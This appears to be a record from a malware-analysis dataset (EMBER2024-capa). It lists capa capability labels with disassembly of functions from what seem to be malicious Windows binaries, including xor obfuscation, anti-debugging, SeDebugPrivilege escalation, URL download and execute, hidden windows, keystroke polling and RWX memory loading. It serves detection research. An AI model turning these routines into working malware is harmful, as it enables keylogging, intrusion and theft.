joyce8/EMBER2024-capa huggingface dataset:
Function at 0x8afdd8
Capabilities:
Encode data using xor

Disassembly:
call 0x8af181
jmp 0x8afcd1
mov dword [esp + 0x24], eax
jmp 0x8afaf9
call fcn.008afcf9
popal
inc dword [esp + 8]
pushfd
std
jmp 0x8afd15
xchg dword [esp], esi
neg esi
sub esp, 6
lea esp, [esp + 2]
mov dword [esp + 0x12], edi
jmp 0x8afc5b
mov ecx, dword [esp]
bsr di, si
call fcn.008afc0b
mov si, 0x75b6
mov cl, byte [esp]
xchg ch, cl
mov esi, dword [esp + 0x3a]
dec cx
mov ch, byte [esp]
jmp 0x8afc6e
lea esp, [esp + 0x7c]
popfd
jmp 0x8afe16
xchg edi, esi
sub esp, 0x1a
lea esp, [esp + 2]
mov di, sp
xchg esi, edi
mov ch, byte [esp]
jmp 0x8afc23
lea ecx, [esp - 0x79]
mov ecx, dword [esp]
mov ecx, edx
lea ecx, [ecx + ebx]
cld
mov ecx, dword [esp + 0x58]
jmp 0x8afc43
call 0x8afcb9
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add bh, bh
nop
mov edx, 0xe91984ec
add byte [ecx], al
add byte [eax], al
push ecx
fisttp dword [ebx + 0x2e]
fisttp qword [edi]
mov ecx, 0x44b5d23c
xchg byte [ecx + 0x2e252d58], cl
test al, 0x19
pop eax
sub eax, 0x19a82e25
jmp 0x8afca9
mov edi, ecx
lea edi, reloc.KERNEL32.dll_SetErrorMode
mov dword [edi], eax
pop edi
jmp 0x8afe74
mov al, byte [eax]
push edi
jmp 0x8afcd9
push esp
lea esp, [esp + 2]
std
sub esp, 0x1a
std
lea esp, [esp + 0x1c]
jmp 0x8afdad
mov eax, 0xd2b2e89b
invalid
call fcn.008afd8b
clc
add al, bh
jo 0x8afd2b
xor dword [eax - 9], reloc.KERNEL32.dll_SetErrorMode
ja 0x8afcf4
std
jle 0x8afd3d
mov eax, dword [esi - reloc.KERNEL32.dll_SetErrorMode]
or al, 0x24
pop word [esp]
lea esp, [esp + 2]
xchg dword [esp], edi
call fcn.008afd37
push cx
mov byte [esp + 4], dl
lea esp, [esp + 2]
xchg dword [esp + 8], edi
call fcn.008afda3
ret
pushal
mov dl, bh
popal
call fcn.008afdf3
in eax, dx
outsd dx, dword [esi]
call [edx - 0x7ffa5c97]
push ss
jno 0x8afd41
inc edx
mov ebp, 0xfe88c
add byte [eax], al
push ebx
je 0x8afe24
imul ebp, dword [esi + 0x64], reloc.KERNEL32.dll_SetErrorMode
js fcn.008afe4a
inc ecx
add cl, ch
mov dh, 0xfe
invalid
cmp dword [esp + 4], 0
jne 0x8afaf4
pushal
jmp 0x8af17c
invalid
je 0x8afee1
jne 0x8af208
movzx ebx, byte [eax]
add ebx, 0x6c1bcee7
cmp ebx, 0x6c1bcfb3
jmp 0x8afe3e
and al, 0xa

Function at 0x8b9586
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov word [esp + 1], dx
call 0x8b9586
retf 0xff66

Function at 0x8b9f0f
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop word [esp]
jmp 0x8b9f47
inc ebx
cli
aad 0x44
stc
lea esp, [esp + 2]
push ebp
mov byte [esp], dh
call fcn.008b9f31
std
jnp 0x8b9f43
invalid
Function at 0xacbea3
Capabilities:
Parse pe header

Disassembly:
call fcn.00acb05c
pushal
push word [esp + 0x10]
jmp 0xacbf7c
pop word [esp + 0x1a]
mov dword [esp + 0x24], edi
lea esp, [esp + 0x24]
jmp 0xacbf22
mov eax, dword fs:[0x30]
jmp 0xacbf54
lea esp, [esp + 0x24]
jmp 0xacbf22
lea esi, [esi + 0x1c]
mov eax, dword [esi]
pop esi
jmp 0xacbf5c
mov eax, dword [eax + 0xc]
push esi
mov esi, eax
jmp 0xacbf3e
push edi
pushal
xchg di, bx
mov edx, 0x48b9b98d
jmp 0xacbfa3
jae 0xacbeee
pop word [esp + 0x1a]
mov dword [esp + 0x24], edi
jmp 0xacbf38
mov eax, dword [eax + 8]
jmp 0xacbfc4
mov edi, ebp
mov dword [esp], eax
popal
mov eax, dword [edi]
pop edi
jmp 0xacbf8d
push eax
jmp 0xacb057
Function at 0x402433
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
nop
nop
nop
nop
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x4024c6
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402474
mov eax, 0x4732d5
push eax
push 1
mov ebx, 0x25c
call fcn.004509e0
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0x20
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc4
call fcn.004509f0
add esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x4024d0
mov eax, 0
jmp 0x4024d0
mov esp, ebp
pop ebp
ret 4

Function at 0x402508
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push reloc.WS2_32.dll_getsockname
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9dc
call fcn.00450a10
add esp, 0x10
mov dword [ebp - 8], eax
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
mov dword [ebp - 4], eax
cmp dword [ebp + 0x18], 0
jne 0x402584
cmp dword [ebp - 4], 0
je 0x40257f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
jmp 0x40258c
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 0x14]
mov dword [ebx], eax
cmp dword [ebp - 4], 0
mov eax, 0
setne al
jmp 0x40259d
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4025a3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4025e0
mov eax, 0x4732d5
push eax
push 3
mov ebx, 0x270
call fcn.00450af0
add esp, 0x28
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402723
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x278
call fcn.00450bd0
add esp, 0x10
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402631
mov eax, 0x4732d5
push eax
push 1
mov ebx, 0x244
call fcn.004507e0
add esp, 0x10
call fcn.00401750
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402661
mov eax, 0x4732d5
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x402675
mov eax, 0x4732d5
push eax
push 2
mov ebx, 0x23c
call fcn.004507f0
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402698
push ebx
call fcn.0044baf9
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.004502d0
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.004502d0
add esp, 0x10
mov dword [ebp - 0xc], eax
push 5
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40270e
push ebx
call fcn.0044baf9
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40271e
push ebx
call fcn.0044baf9
add esp, 4
jmp 0x402813
push dword [ebp + 8]
call fcn.00402433
and eax, 1
xor eax, 1
test eax, eax
je 0x40278d
call fcn.00401750
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402756
mov eax, 0x4732d5
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40276a
mov eax, 0x4732d5
push eax
push 2
mov ebx, 0x23c
call fcn.004507f0
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40278d
push ebx
call fcn.0044baf9
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.004502d0
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.004502d0
add esp, 0x10
mov dword [ebp - 0xc], eax
push 5
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402803
push ebx
call fcn.0044baf9
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402813
push ebx
call fcn.0044baf9
add esp, 4
push 0x5cd82f
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x90]
mov esp, ebp
pop ebp
ret 4
Function at 0x406d8c
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
push 8
call fcn.0044baf3
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.0044baf3
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x10], 0
push 0x10
call fcn.0044baf3
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
nop
nop
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 8
push 0x80000301
push 0
push 0x20
push 2
mov ebx, 0xc8
call fcn.00450270
add esp, 0x1c
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
nop
nop
nop
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.004502d0
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [ebp - 8]
push str.SeDebugPrivilege
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
nop
nop
nop
nop
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x406eb0
push ebx
call fcn.0044baf9
add esp, 4
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov eax, 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x14]
push 0x1c
push dword [ebp - 0xc]
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
nop
nop
nop
nop
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
jmp 0x406f47
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.0044baf9
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.0044baf9
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.0044baf9
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x40c843
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 0
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop
nop
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
mov eax, 0
sete al
jmp 0x40c883
mov esp, ebp
pop ebp
ret 8
Function at 0x412897
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ebx, dword [0x5cd833]
mov dword [ebp - 4], ebx
push 0x4732d5
mov ebx, dword [ebp - 4]
push dword [ebx]
call fcn.00401bf1
add esp, 8
cmp eax, 0
je 0x412953
mov ebx, dword [0x5cd833]
mov dword [ebp - 4], ebx
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.004502d0
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.004502d0
add esp, 0x10
mov dword [ebp - 0xc], eax
push 1
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp - 4]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x412943
push ebx
call fcn.0044baf9
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x412953
push ebx
call fcn.0044baf9
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x41baf5
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
mov eax, 0
setne al
jmp 0x41bb24
mov esp, ebp
pop ebp
ret 4

Function at 0x41bb2a
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 5
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
mov eax, 0
setne al
jmp 0x41bb59
mov esp, ebp
pop ebp
ret 4

Function at 0x41bb5f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [0x5cd93f], 0
jle 0x41bb97
cmp dword [0x5cd92b], 0
jle 0x41bb97
mov eax, 1
jmp 0x41bb99
xor eax, eax
test eax, eax
je 0x41bc42
push 1
push dword [0x5cd93f]
call fcn.0041bc48
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jne 0x41bc29
push 0x5cd93b
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
lea eax, [ebp - 8]
push eax
call fcn.004074a7
push eax
push dword [0x5cd92b]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x41bc15
push dword [0x5cd92b]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
mov dword [0x5cd92b], 0
mov dword [0x5cd93f], 0
push 0x5cd93b
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
jmp 0x41bc42
cmp dword [ebp - 4], 0
jne 0x41bc42
push 0x5cd99b
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41cb8a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x200
push 1
mov ebx, 0x184
call fcn.00450290
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41cbcf
push ebx
call fcn.0044baf9
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040c739
push eax
push 0x200
push 0xd
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
nop
nop
nop
nop
mov eax, dword [ebp - 4]
test eax, eax
je 0x41cc10
push eax
mov ebx, eax
call fcn.0040106a
inc eax
push eax
call fcn.0044baf3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41cc15
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41cc26
push ebx
call fcn.0044baf9
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x4207bf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
push dword [ebp + 8]
push dword [0x5cd84b]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
nop
nop
nop
nop
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x42080e
mov eax, 0x47338d
jmp 0x4208cd
push dword [ebp + 8]
push dword [0x5cd84b]
call dword [sym.imp.KERNEL32.dll_LoadResource]
nop
nop
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x420838
mov eax, 0x47338d
jmp 0x4208cd
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LockResource]
nop
nop
nop
nop
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42085c
mov eax, 0x47338d
jmp 0x4208cd
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x1bc
call fcn.00450c00
add esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x42088f
push ebx
call fcn.0044baf9
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4208a3
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4208c8
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0044baf3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4208cd
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4208de
push ebx
call fcn.0044baf9
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x424fe2
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
mov dword [ebp - 8], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 8]
push 2
mov ebx, 0xc4
call fcn.004509f0
add esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42506b
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00450270
add esp, 0x1c
mov dword [ebp - 4], eax
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
mov dword [ebp - 8], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 8]
push 2
mov ebx, 0xc4
call fcn.004509f0
add esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4250dd
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00450270
add esp, 0x1c
mov dword [ebp - 4], eax
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
mov dword [ebp - 8], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 8]
push 2
mov ebx, 0xc4
call fcn.004509f0
add esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42514f
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00450270
add esp, 0x1c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x425157
mov esp, ebp
pop ebp
ret

Function at 0x428caf
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
nop
nop
nop
nop
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x473385]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.00401131
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.00450290
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x428d33
push ebx
call fcn.0044baf9
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xc], ebx
push dword [ebp - 4]
push dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
nop
nop
mov eax, dword [ebp - 8]
test eax, eax
je 0x428d73
push eax
mov ebx, eax
call fcn.0040106a
inc eax
push eax
call fcn.0044baf3
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x428d78
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x428d89
push ebx
call fcn.0044baf9
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x42fb48
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push VariantCopy
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x42fb74
mov eax, 0x47338d
push eax
push 1
mov ebx, 0x194
call fcn.004519c0
add esp, 0x10
mov dword [ebp - 4], eax
push 0x40
push 0x1000
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
nop
nop
mov dword [ebp - 8], eax
push dword [ebp - 4]
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x42fbb8
add eax, 8
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
mov eax, dword [ebp - 8]
jmp 0x42fbce
mov esp, ebp
pop ebp
ret 4
Function at 0x4505c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x18]
push ebx
push ebp
push esi
push edi
push eax
call fcn.00454c90
mov esi, dword [esp + 0x38]
mov ebx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], ebp
test ebx, ebx
je 0x450710
test ecx, ecx
je 0x450710
inc ecx
push ecx
call fcn.00462675
mov ebp, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5c
mov edx, ecx
mov esi, edi
mov edi, ebp
push ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00456d90
mov edi, eax
add esp, 0xc
test edi, edi
je 0x450639
mov byte [edi], 0
inc edi
lea eax, [esp + 0x1c]
push eax
push ebp
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4506fd
push 0x400
mov dword [esp + 0x18], 0x400
mov dword [esp + 0x1c], 1
call fcn.00462675
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x14]
mov esi, eax
mov eax, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push esi
push edx
push 0
push edi
push eax
call ebx
test eax, eax
je 0x4506c1
cmp eax, 0xea
jne 0x4506e9
push esi
call fcn.0046269e
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00462675
mov ecx, dword [esp + 0x24]
add esp, 8
lea edx, [esp + 0x14]
mov esi, eax
push edx
lea eax, [esp + 0x1c]
push esi
push eax
push 0
push edi
push ecx
call ebx
test eax, eax
jne 0x45068c
mov eax, dword [esp + 0x18]
cmp eax, 1
je 0x4506cf
cmp eax, 2
jne 0x4506e9
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
call fcn.00454c00
add esp, 8
mov dword [esp + 0x10], eax
push esi
call fcn.0046269e
mov edx, dword [esp + 0x20]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
call fcn.0046269e
mov eax, dword [esp + 0x14]
add esp, 4
test eax, eax
jne 0x45073e
mov ebp, eax
mov eax, dword [esp + 0x48]
test eax, eax
je 0x45074a
mov edx, dword [esp + 0x40]
test edx, edx
je 0x45074a
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
call fcn.00454c00
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10
ret